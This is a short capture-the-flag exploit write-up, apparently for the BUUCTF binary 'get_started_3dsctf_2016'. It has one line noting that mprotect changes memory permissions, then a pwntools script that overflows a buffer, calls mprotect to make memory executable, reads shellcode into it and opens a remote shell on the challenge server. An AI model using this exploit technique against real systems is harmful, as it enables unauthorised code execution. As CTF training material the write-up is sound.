mprotect函数用于改变内存权限

 

exp:

from pwn import *
context.log_level = 'debug'

#io = process("./get_started_3dsctf_2016")
io = remote("node4.buuoj.cn",28786)
elf = ELF("./get_started_3dsctf_2016")

shellcode = asm(shellcraft.sh())
pop_ret = 0x0804f460
mprotect_addr = 0x0806EC80
addr = 0x080EB000
read_addr = 0x0806E140 

payload = b'a'*56 + p32(mprotect_addr) + p32(pop_ret) + p32(addr) + p32(0x1000) + p32(7) 
payload += p32(read_addr) + p32(pop_ret) + p32(0) + p32(addr) + p32(0x100)
payload += p32(addr)

io.sendline(payload)
io.sendline(shellcode)
io.interactive()